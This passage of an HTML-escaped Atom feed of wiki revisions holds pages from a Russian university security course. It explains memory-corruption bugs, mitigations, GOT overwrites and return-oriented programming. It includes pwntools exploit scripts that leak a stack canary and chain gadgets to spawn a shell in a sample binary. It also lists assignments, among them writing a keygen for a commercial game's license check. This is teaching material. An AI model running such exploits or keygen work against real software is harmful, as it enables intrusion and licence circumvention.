p.recvuntil(&amp;quot;Hello, &amp;quot;)&lt;br /&gt;
&lt;br /&gt;
data = p.recvuntil(&amp;quot;Enter password&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
print hexdump(data)&lt;br /&gt;
&lt;br /&gt;
canary = data[40:48]&lt;br /&gt;
&lt;br /&gt;
payload = &amp;quot;&amp;quot;&lt;br /&gt;
payload += &amp;quot;A&amp;quot; * 40&lt;br /&gt;
payload += canary&lt;br /&gt;
payload += &amp;quot;A&amp;quot; * 24&lt;br /&gt;
payload += p64(0x400B33) # &amp;lt;- try to set it to 0xdeadbeef and see what happens in debugger&lt;br /&gt;
&lt;br /&gt;
p.sendline(payload)&lt;br /&gt;
&lt;br /&gt;
p.interactive()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D0%B0%D1%8F_%D1%8D%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D1%8F&amp;diff=235</id>
		<title>Введение в практическую безопасность (2019)/Бинарная эксплуатация</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D0%B0%D1%8F_%D1%8D%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D1%8F&amp;diff=235"/>
		<updated>2019-03-30T16:06:55Z</updated>

		<summary type="html">&lt;p&gt;WGH: /* Уязвимости */ uaf&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Уязвимости ==&lt;br /&gt;
&lt;br /&gt;
=== Переполнение буфера ===&lt;br /&gt;
Переполнение буфера (buffer overflow) происходит, когда программа не проверяет размер буфера должным образом при записи в него. Например, так делает печально известные функции &amp;lt;code&amp;gt;gets&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;strcpy&amp;lt;/code&amp;gt;, а также такое встречается и в пользовательском коде.&lt;br /&gt;
&lt;br /&gt;
Техника эксплуатации сильно зависит от того, где произошло переполнение.&lt;br /&gt;
&lt;br /&gt;
* Стек - интересными объектами являются адрес возврата функции (для return-to-xxx, ROP), сохраненные регистры (RBP для проведения stack pivot), соседние переменные.&lt;br /&gt;
* Глобальные переменные - соседние глобальные переменные, а в случае переполнения назад (underwrite) - GOT.&lt;br /&gt;
* Куча - соседние аллокации памяти, а также внутренние структуры данных, используемая аллокатором&amp;lt;ref&amp;gt;https://sourceware.org/glibc/wiki/MallocInternals&amp;lt;/ref&amp;gt;&amp;lt;ref&amp;gt;https://github.com/shellphish/how2heap&amp;lt;/ref&amp;gt;&amp;lt;ref&amp;gt;Техники эксплуатации структур данных аллокатора не рассматриваются на этом спецкурсе.&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Buffer over-read ===&lt;br /&gt;
&lt;br /&gt;
Очень похоже по своей сути на переполнение буфера, однако при этом содержимое памяти за пределами буфера выводится пользователю.&lt;br /&gt;
&lt;br /&gt;
Обычно не приводит к чему-либо серьезному само по себе, однако может использоваться для обхода ASLR с целью эксплуатации других уязвимостей. А ещё см. нашумевший баг [[wikipedia:Heartbleed]].&lt;br /&gt;
&lt;br /&gt;
=== Uninitialized memory read ===&lt;br /&gt;
&lt;br /&gt;
Как следует из названия, чтение неинициализованной памяти. Как и в случае buffer over-read, там можно найти интересные данные.&lt;br /&gt;
&lt;br /&gt;
=== Integer overflow ===&lt;br /&gt;
&lt;br /&gt;
Целочисленное переполнение является опасной уззвимостью, когда переполнение происходит при рассчете размера для выделения памяти.&lt;br /&gt;
&lt;br /&gt;
В следующем примере сумма &amp;lt;code&amp;gt;len1+len2&amp;lt;/code&amp;gt; может переполниться таким образом, что len1 &amp;gt; len1 + len2 (https://ideone.com/qU4csI):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int foo(int fd) {&lt;br /&gt;
    size_t len1 = read_size(fd);&lt;br /&gt;
    size_t len2 = read_size(fd);&lt;br /&gt;
    char *buf = malloc(len1+len2);&lt;br /&gt;
    read_data(fd, buf, len1);&lt;br /&gt;
    read_data(fd, buf+len1, len2);&lt;br /&gt;
    // ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Поэтому &amp;lt;code&amp;gt;read_data&amp;lt;/code&amp;gt; может записать в буфер больше данных, чем доступно памяти в буфере, и затереть таким образом соседние объекты на куче.&lt;br /&gt;
&lt;br /&gt;
Похожая проблема возникает при умножении и даже при неаккуратном прибавлении константного числа.&lt;br /&gt;
&lt;br /&gt;
=== Use after free ===&lt;br /&gt;
&lt;br /&gt;
Как и следует из названия, эта уязвимость возникает, когда память, выделанная &amp;lt;code&amp;gt;malloc&amp;lt;/code&amp;gt;, используется после освобождения.&lt;br /&gt;
&lt;br /&gt;
Наиболее серьезные последствия это несет, когда память содержит указатели: часто можно выделить на месте освобожденной памяти строку такого же размера, содержащую в себе запакованный указатель, и получить произвольное чтение или запись по абсолютному адресу.&lt;br /&gt;
&lt;br /&gt;
== Средства защиты ==&lt;br /&gt;
В программах на языках C и C++, скомпилированных современными компиляторами и работающих на современных ОС, присутствует большое число противодействий бинарным уязвимостям (mitigations).&lt;br /&gt;
&lt;br /&gt;
=== No execute (NX) ===&lt;br /&gt;
&lt;br /&gt;
Средства ОС и процессора позволяют гибко настраивать права доступа на страницы виртуальной памяти. Эти права доступа позволяют запрещать выполнять данные как инструкции процессора. Напрмер, даже если записать шеллкод на стек, в память, выделенную через &amp;lt;code&amp;gt;malloc&amp;lt;/code&amp;gt; или в статический глобальный буфер, при попытке выполнить этот код произойдет &amp;lt;code&amp;gt;SIGSEGV&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
На уровне пользовательской программы это реализовано флагом &amp;lt;code&amp;gt;prot&amp;lt;/code&amp;gt; в системных вызовах &amp;lt;code&amp;gt;mmap&amp;lt;/code&amp;gt; и &amp;lt;code&amp;gt;mprotect&amp;lt;/code&amp;gt;. Сам пользовательский код редко использует эти системные вызовы напрямую: ядро системы, динамический загрузчик (&amp;lt;code&amp;gt;ld.so&amp;lt;/code&amp;gt;) и libc сами выделяют память с правильными правами доступа.&lt;br /&gt;
&lt;br /&gt;
Фактически это означает, что чтобы в таких условиях добиться выполнения произвольного кода (или хотя бы выходящего за спецификацию исходной программы), придется провести атаку переиспользования кода (code reuse) в том или ином виде. Например, переписать указатель на какую-то безобидную функцую на &amp;lt;code&amp;gt;system&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Посмотреть карту виртуальной памяти запущенного процесса можно при помощи программы &amp;lt;code&amp;gt;pmap&amp;lt;/code&amp;gt;, команды &amp;lt;code&amp;gt;info proc mappings&amp;lt;/code&amp;gt; в GDB, или &amp;lt;code&amp;gt;vmmap&amp;lt;/code&amp;gt; в GDB+PEDA.&lt;br /&gt;
&lt;br /&gt;
* https://en.wikipedia.org/wiki/NX_bit&lt;br /&gt;
&lt;br /&gt;
=== ASLR ===&lt;br /&gt;
&lt;br /&gt;
Чтобы затруднить атаки класса переиспользования кода (code reuse), такие как возврат в libc, адреса стека, кучи, и загрузки библиотек рандомизируются при каждом запуске программы. Это называется address space layout randomization.&lt;br /&gt;
&lt;br /&gt;
Например, если в программе есть уязвимость, позволяющая переписать указатель на функцию, вы не можете записать туда адрес функции &amp;lt;code&amp;gt;system&amp;lt;/code&amp;gt; просто потому, что вы не знаете адрес этой функции. Похожая ситуация будет, если есть указатель на какую-то структуру (например, содержащую в себе флаг &amp;lt;code&amp;gt;is_admin&amp;lt;/code&amp;gt;): возможно вы и можете создать фейковую структуру с правильными полями на стеке, но вы не знаете, по какому адресу она окажется, чтобы записать этот адрес в тот указатель.&lt;br /&gt;
&lt;br /&gt;
Как и многие другие защиты, ASLR не является абсолютной. Если в программе есть баг, позволяющий читать память за границей массива на стеке, с большой вероятностью вы там найдете адрес, ведущий в libc. Например, функция &amp;lt;code&amp;gt;main&amp;lt;/code&amp;gt; возвращается куда-то в недра &amp;lt;code&amp;gt;__libc_start_main&amp;lt;/code&amp;gt;, и если получится узнать адрес возврата, то посчитав смещение этого места относительно начала libc (для этой конкретной версии libc!), вы сможете узнать адрес загрузки библиотеки - и, соответственно, адреса всех функций, смещения которых фиксированы относительно базового адреса загрузки.&lt;br /&gt;
&lt;br /&gt;
Начиная с примерно 2018 года большинство дистрибутивов Linux стали компилировать программы в режиме PIE (position-independent executable), позволяющие ОС и загрузчику рандомизировать также адрес загрузки самого бинаря, который до этого был всегда фиксировано &amp;lt;code&amp;gt;0x00400000&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Проверить наличие PIE можно при помощи следующей команды pwntools. ASLR же для стека, кучи и библиотек при этом присутствует в любом случае.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ pwn checksec /bin/bash&lt;br /&gt;
[*] &#039;/bin/bash&#039;&lt;br /&gt;
    Arch:     amd64-64-little&lt;br /&gt;
    RELRO:    Partial RELRO&lt;br /&gt;
    Stack:    Canary found&lt;br /&gt;
    NX:       NX enabled&lt;br /&gt;
    PIE:      PIE enabled&lt;br /&gt;
    FORTIFY:  Enabled&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* https://en.wikipedia.org/wiki/Address_space_layout_randomization&lt;br /&gt;
&lt;br /&gt;
=== Stack canary ===&lt;br /&gt;
Stack canary (&amp;lt;code&amp;gt;-fstack-protector&amp;lt;/code&amp;gt;, stack smashing protector) - один из способов защиты от переполнения буфера на стеке.&lt;br /&gt;
&lt;br /&gt;
При переполнении буфера освовную опасность представляет перезапись адреса возврата функции. От этого канарейка и защищает.&lt;br /&gt;
&lt;br /&gt;
В прологе функции за адресом возврата&amp;lt;ref&amp;gt;Иногда и перед потенциально опасными локальными переменными, как то указатели на функции.&amp;lt;/ref&amp;gt; на стек сохраняется специальное секретное значение, которое проверяется при выходе из функции. Если оно изменилось, то значит произошло переполнение буфера на стеке, и программа немедленно завершается, не выполняя инструкцию ret.&lt;br /&gt;
&lt;br /&gt;
В glibc канарейка генерируется один раз при запуске программы, и никогда не меняется. Если есть уязвимость, позволяющая прочесть значение канарейки, то её можно обойти, просто записывая поверх канарейки её значение. Однако алгоритм генерации всегда включает в значение нулевой байт, что может усложнить эксплуатацию при помощи строковых функций типа &amp;lt;code&amp;gt;strcpy&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
В HexRays проверка канарейки декомпилируется неправильно. Но всегда, когда вы видите &amp;lt;code&amp;gt;__readfsqword(0x28u)&amp;lt;/code&amp;gt;, можете быть увереными, что это оно. Если хотите посмотреть корректный код, смотрите дизассемблер.&lt;br /&gt;
&lt;br /&gt;
* https://wiki.osdev.org/Stack_Smashing_Protector&lt;br /&gt;
&lt;br /&gt;
== Техники эксплуатации ==&lt;br /&gt;
&lt;br /&gt;
=== Перезапись GOT ===&lt;br /&gt;
В динамических слинкованных бинарях для вызова фунций из библиотек (libc и другие) используется специальная таблица GOT (global offset table).&lt;br /&gt;
&lt;br /&gt;
Эта таблица содержит адреса библиотечных функций, которые требуются данной программе&amp;lt;ref&amp;gt;Библиотеки тоже могут использовать функции из других библиотек, у них тоже есть такая таблица.&amp;lt;/ref&amp;gt;. Эта таблица заполняется динамических загрузчиком (ld.so, dynamic linker/loader). По умолчанию эта таблица заполняется лениво: вместо адресов целевых функций там лежат адреса заглушек, которые вызывают динамический загрузчик, который в свою очередь заносит в таблицу уже адрес нужной функции и передает управление на неё. При последующих вызовах функция уже будет вызываться непосредственно, без загрузчика.&lt;br /&gt;
&lt;br /&gt;
Поскольку такая ленивость предполагает доступ к этой таблице на запись во время работы программы, записи в ней очень удобно переписывать в процессе эксплуатации. Основными претендентами являются функции, принимающие первым аргументом указатель на контролируемую пользователем строку, типа &amp;lt;code&amp;gt;free&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;strlen&amp;lt;/code&amp;gt;, и т.д.: их удобно переписывать на адрес &amp;lt;code&amp;gt;system&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Также бывает полезно читать данные оттуда для получения смещения libc и обхода ASLR таким образом.&lt;br /&gt;
&lt;br /&gt;
Так как GOT обычно находится перед секциями &amp;lt;code&amp;gt;.data&amp;lt;/code&amp;gt; и &amp;lt;code&amp;gt;.bss&amp;lt;/code&amp;gt;, в эту таблицу можно попасть по отрицательным смещениям относительно глобальных переменных, также через arbitrary read/write по произвольному абсолютному адресу.&lt;br /&gt;
&lt;br /&gt;
Опционально при компиляции можно включить защиту RELRO, которая делает эту таблицу неленивой и недоступной для запись. Уровень защиты можно проверить при помощи checksec (Partial RELRO с точки зрения эксплуатации не отличается от отсутствия RELRO, защиту обеспечивает только Full RELRO):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
% ~/.local/bin/pwn checksec /bin/cat&lt;br /&gt;
[*] &#039;/bin/cat&#039;&lt;br /&gt;
    Arch:     amd64-64-little&lt;br /&gt;
    RELRO:    Partial RELRO&lt;br /&gt;
    Stack:    Canary found&lt;br /&gt;
    NX:       NX enabled&lt;br /&gt;
    PIE:      PIE enabled&lt;br /&gt;
    FORTIFY:  Enabled&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* https://github.com/Gallopsled/pwntools-tutorial/tree/master/walkthrough/elf-symbols-got-overwrite&lt;br /&gt;
&lt;br /&gt;
=== Return-oriented programming ===&lt;br /&gt;
&lt;br /&gt;
Return-oriented programming (ROP) - популярная техника эксплуатации переполнения буфера на стеке.&lt;br /&gt;
&lt;br /&gt;
В самом простом варианте эксплуатации такого переполнения переписывается только адрес возврата функции. Однако такое не позволяет вызвать функцию с произвольными параметрами, можно лишь передавать управление на готовые куски кода. Это само по себе неплохо, если есть хорошие места в программе или в библиотеках (см. [https://github.com/david942j/one_gadget one gadget RCE] в libc).&lt;br /&gt;
&lt;br /&gt;
Но можно пойти дальше. Если есть возможность переписать и после адреса возврата, туда можно записать адреса т.н. гаджетов - последовательностей инструкций, заканчивающихся на &amp;lt;code&amp;gt;ret&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Эти гаджеты можно находить при помощи программ ropper, ROPGadget, и других. Эти программы позволяют находить гаджеты, которые не видны при простом дизассемблировании, т.к. как они могут начинаться на середине инструкции:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ ~/.local/bin/pwn disasm -c amd64 5FC3&lt;br /&gt;
   0:    5f                       pop    rdi&lt;br /&gt;
   1:    c3                       ret&lt;br /&gt;
$ ~/.local/bin/pwn disasm -c amd64 415FC3&lt;br /&gt;
   0:    41 5f                    pop    r15&lt;br /&gt;
   2:    c3                       ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ ~/.local/bin/ropper --file example_1.5_gets&lt;br /&gt;
...&lt;br /&gt;
0x0000000000400ba3: pop rdi; ret;&lt;br /&gt;
0x0000000000400ba1: pop rsi; pop r15; ret;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Например, нужно вызвать функцию по адресу &amp;lt;code&amp;gt;0xdeadbeef&amp;lt;/code&amp;gt; функцию с аргументами 1 и 2. Тогда на стек, начиная с адреса возврата, нужно записать такие 64-битные числа: &amp;lt;code&amp;gt;0x0000000000400ba3, 0x1, 0x0000000000400ba1, 0x2, 0x1337, 0xdeadbeef&amp;lt;/code&amp;gt;. Для понимания, как это работает, нужно отследить как меняется RSP по мере выполнения инструкций &amp;lt;code&amp;gt;ret&amp;lt;/code&amp;gt; и &amp;lt;code&amp;gt;pop&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* https://en.wikipedia.org/wiki/Return-oriented_programming&lt;br /&gt;
* https://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI - какие регистры используются при вызове функций.&lt;br /&gt;
&lt;br /&gt;
==== Пример эксплоита ====&lt;br /&gt;
&lt;br /&gt;
Эксплоит для ./example_1.5_gets:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/env python2&lt;br /&gt;
&lt;br /&gt;
from pwn import *&lt;br /&gt;
&lt;br /&gt;
# http://docs.pwntools.com/en/stable/context.html#pwnlib.context.ContextType.terminal&lt;br /&gt;
# or just run in tmux and everything will work&lt;br /&gt;
context.terminal = [&amp;quot;xterm&amp;quot;, &amp;quot;-e&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
p = process([&amp;quot;stdbuf&amp;quot;, &amp;quot;-i0&amp;quot;, &amp;quot;-o0&amp;quot;, &amp;quot;./example_1.5_gets&amp;quot;])&lt;br /&gt;
&lt;br /&gt;
gdb.attach(p,&lt;br /&gt;
    &amp;quot;b * 0x400B2D&amp;quot;        &lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
p.sendline(&amp;quot;128&amp;quot;)&lt;br /&gt;
p.sendline(&amp;quot;aaaa&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
#p.interactive()&lt;br /&gt;
&lt;br /&gt;
p.recvuntil(&amp;quot;Hello, &amp;quot;)&lt;br /&gt;
&lt;br /&gt;
data = p.recvuntil(&amp;quot;Enter password&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
print hexdump(data)&lt;br /&gt;
&lt;br /&gt;
canary = data[40:48]&lt;br /&gt;
&lt;br /&gt;
payload = &amp;quot;&amp;quot;&lt;br /&gt;
payload += &amp;quot;A&amp;quot; * 40&lt;br /&gt;
payload += canary&lt;br /&gt;
payload += &amp;quot;A&amp;quot; * 24&lt;br /&gt;
    &lt;br /&gt;
payload += p64(0x0000000000400ba3) # pop rdi&lt;br /&gt;
payload += p64(0x6020B0) # -&amp;gt; rdi&lt;br /&gt;
payload += p64(0x4009B0) # read_line&lt;br /&gt;
payload += p64(0x0000000000400ba3) # pop rdi&lt;br /&gt;
payload += p64(0x6020B0) # -&amp;gt; rdi&lt;br /&gt;
payload += p64(0x400B33) # system&lt;br /&gt;
&lt;br /&gt;
p.sendline(payload)&lt;br /&gt;
&lt;br /&gt;
p.sendline(&amp;quot;sh&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
p.sendline(&amp;quot;id&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
p.interactive()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Инструменты ==&lt;br /&gt;
&lt;br /&gt;
=== pwntools ===&lt;br /&gt;
&lt;br /&gt;
pwntools - удобная библиотека-фреймворк для написания эксплоитов.&lt;br /&gt;
&lt;br /&gt;
http://docs.pwntools.com/en/stable/index.html&lt;br /&gt;
&lt;br /&gt;
Эксплоит для примера &amp;lt;code&amp;gt;example_1.5_gets&amp;lt;/code&amp;gt;, разбираемого на задании ([[Media:2019 pwn samples.zip]]):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/env python2&lt;br /&gt;
&lt;br /&gt;
from pwn import *&lt;br /&gt;
&lt;br /&gt;
# http://docs.pwntools.com/en/stable/context.html#pwnlib.context.ContextType.terminal&lt;br /&gt;
# or just run in tmux and everything will work&lt;br /&gt;
#context.terminal = [&amp;quot;xterm&amp;quot;, &amp;quot;-e&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
p = process([&amp;quot;stdbuf&amp;quot;, &amp;quot;-i0&amp;quot;, &amp;quot;-o0&amp;quot;, &amp;quot;./example_1.5_gets&amp;quot;])&lt;br /&gt;
&lt;br /&gt;
#gdb.attach(p) # &amp;lt;- uncomment to enable debugger&lt;br /&gt;
&lt;br /&gt;
p.sendline(&amp;quot;128&amp;quot;)&lt;br /&gt;
p.sendline(&amp;quot;aaaa&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
#p.interactive()&lt;br /&gt;
&lt;br /&gt;
p.recvuntil(&amp;quot;Hello, &amp;quot;)&lt;br /&gt;
&lt;br /&gt;
data = p.recvuntil(&amp;quot;Enter password&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
print hexdump(data)&lt;br /&gt;
&lt;br /&gt;
canary = data[40:48]&lt;br /&gt;
&lt;br /&gt;
payload = &amp;quot;&amp;quot;&lt;br /&gt;
payload += &amp;quot;A&amp;quot; * 40&lt;br /&gt;
payload += canary&lt;br /&gt;
payload += &amp;quot;A&amp;quot; * 24&lt;br /&gt;
payload += p64(0x400B33) # &amp;lt;- try to set it to 0xdeadbeef and see what happens in debugger&lt;br /&gt;
&lt;br /&gt;
p.sendline(payload)&lt;br /&gt;
&lt;br /&gt;
p.interactive()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BF%D0%BE_%D1%80%D0%B5%D0%B2%D0%B5%D1%80%D1%81-%D0%B8%D0%BD%D0%B6%D0%B8%D0%BD%D0%B8%D1%80%D0%B8%D0%BD%D0%B3%D1%83_%D0%B8_%D1%8D%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D0%B8_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=234</id>
		<title>Введение в практическую безопасность (2019)/Задания по реверс-инжинирингу и эксплуатации бинарных уязвимостей</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BF%D0%BE_%D1%80%D0%B5%D0%B2%D0%B5%D1%80%D1%81-%D0%B8%D0%BD%D0%B6%D0%B8%D0%BD%D0%B8%D1%80%D0%B8%D0%BD%D0%B3%D1%83_%D0%B8_%D1%8D%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D0%B8_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=234"/>
		<updated>2019-03-30T16:02:14Z</updated>

		<summary type="html">&lt;p&gt;WGH: /* Задания по эксплуатации бинарных уязвимостей */ дедлайн&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Задания по реверс-инжинирингу ==&lt;br /&gt;
&lt;br /&gt;
=== Обязательные задания ===&lt;br /&gt;
Задания по этой теме реализованы в формате типичного crackme/задания на реверс на task-based CTF.&lt;br /&gt;
&lt;br /&gt;
Дан исполняемый файл для ОС Linux. Нужно подобрать такой ввод, чтобы некая проверка внутри была пройдена. В случае успеха программа будет явно писать фразу в духе &amp;quot;успех&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Для зачисления баллов необходимо написать небольшой отчет о проделанной работе: какие инструменты были использованы, какие алгоритмы проверки ввода используются в задании, каким образом вы это поняли Отчет не обязан быть написан строго формально, но должен быть читаемым и понятным. Отчет нужно отправлять на почту mailto:wgh+secsem2019@seclab.cs.msu.ru. К отчету также необходимо приложить ваше имя/никнейм, которые вы использовали в [https://dashboard.course.secsem.ru/ дэшборде] при сдаче заданий по вебу, чтобы мы могли зачислить вам очки.&lt;br /&gt;
&lt;br /&gt;
Дедлайн: 10 апреля 2019, 23:59 MSK.&lt;br /&gt;
&lt;br /&gt;
; [[Media:2019 reverse task 1.zip]]&lt;br /&gt;
: При написании генератора ключей начисляется 150 баллов (генератор должен быть приложен к отчету), при получении одного валидного ключа - 100 баллов.&lt;br /&gt;
; [[Media:2019 reverse task 2.zip]]&lt;br /&gt;
: При успешном выполнении задания начисляется 150 баллов.&lt;br /&gt;
&lt;br /&gt;
=== Бонусное задание ===&lt;br /&gt;
Требуется разреверсить алгоритм проверки лицензионных ключей у компьютерной игры по выбору, и написать генератор ключей&amp;lt;ref&amp;gt;Игра конечно же должна быть законно приобретена вами.&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Разрешается объединяться в группы до трех человек, в исключительных случаях - до четырех.&lt;br /&gt;
&lt;br /&gt;
Чтобы не было ситуации, что несколько разных групп пишут кейген для одной и той же игры, игру нужно предварительно &amp;quot;забронировать&amp;quot;, написав мне письмо (mailto:wgh+secsem2019@seclab.cs.msu.ru).&lt;br /&gt;
&lt;br /&gt;
Поскольку это задание обладает значительным элементом рандома, и вы можете неудачно выбрать непосильную игру (код может оказаться безумно сложным, включать в себя антиотладочные механизмы, и т.д.), можно забронировать до 3 различных игр, и сдать то, что получится.&lt;br /&gt;
&lt;br /&gt;
Игры, у которых подробно описан алгоритм проверки ключа где-либо в интернете, не принимаются. Если строго, на момент бронирования игры на первых 5 страницах поиска в Google по запросу &amp;quot;&amp;lt;game name&amp;gt; cd key keygen reverse&amp;quot; не должно быть статьи с описанием алгоритма. По этому критерию сразу отсеиваются игры Half-Life и Starcraft.&lt;br /&gt;
&lt;br /&gt;
Результатом выполнения задания является должен быть отчет в таком же формате, как и в обязательных заданиях. Более качественный и подробный (без доведения до абсурда) отчет будет оцениваться выше.&lt;br /&gt;
&lt;br /&gt;
Оценка выставляется от 300 до бесконечности субъективно в зависимости от сложности проделанной работы и качества отчета. Например, UT2004, разобранный на семинаре, стоил бы где-то 500-600 баллов. Оценка будет выставлена после дедлайна (приблизительная оценка может быть сообщена ранее).&lt;br /&gt;
&lt;br /&gt;
Дедлайн: 23:59, 21 апреля 2019.&lt;br /&gt;
&lt;br /&gt;
== Задания по эксплуатации бинарных уязвимостей ==&lt;br /&gt;
&lt;br /&gt;
Правила такие же, как и в [[Введение в практическую безопасность (2019)/Задания по вебу|заданиях по вебу]]: найдите флаг и сдайте его в [https://dashboard.course.secsem.ru/ принимающую систему]. Писать отчет не требуется.&lt;br /&gt;
&lt;br /&gt;
Дедлайн: 22 апреля 23:59.&lt;br /&gt;
&lt;br /&gt;
=== Основные задания ===&lt;br /&gt;
&lt;br /&gt;
Бинарники можно скачать по этой ссылке: [[Media:2019 pwn tasks.tar.gz]]. Все задания работают на Ubuntu 16.04.&lt;br /&gt;
&lt;br /&gt;
См. также [[/Указания]], где есть советы по подключению к сервисам.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Название&lt;br /&gt;
! Стоимость&lt;br /&gt;
! Хост и порт&lt;br /&gt;
|-&lt;br /&gt;
| www&lt;br /&gt;
| 50&lt;br /&gt;
| pwn.tasks.course.secsem.ru 9400&lt;br /&gt;
|-&lt;br /&gt;
| locked_down&lt;br /&gt;
| 75&lt;br /&gt;
| pwn.tasks.course.secsem.ru 9000&lt;br /&gt;
|-&lt;br /&gt;
| easyrop&lt;br /&gt;
| 100&lt;br /&gt;
| pwn.tasks.course.secsem.ru 9100&lt;br /&gt;
|-&lt;br /&gt;
| easyrop (harder)&lt;br /&gt;
| 125&lt;br /&gt;
| pwn.tasks.course.secsem.ru 9101&lt;br /&gt;
|-&lt;br /&gt;
| ROPN&lt;br /&gt;
| 175&lt;br /&gt;
| pwn.tasks.course.secsem.ru 9200&lt;br /&gt;
|-&lt;br /&gt;
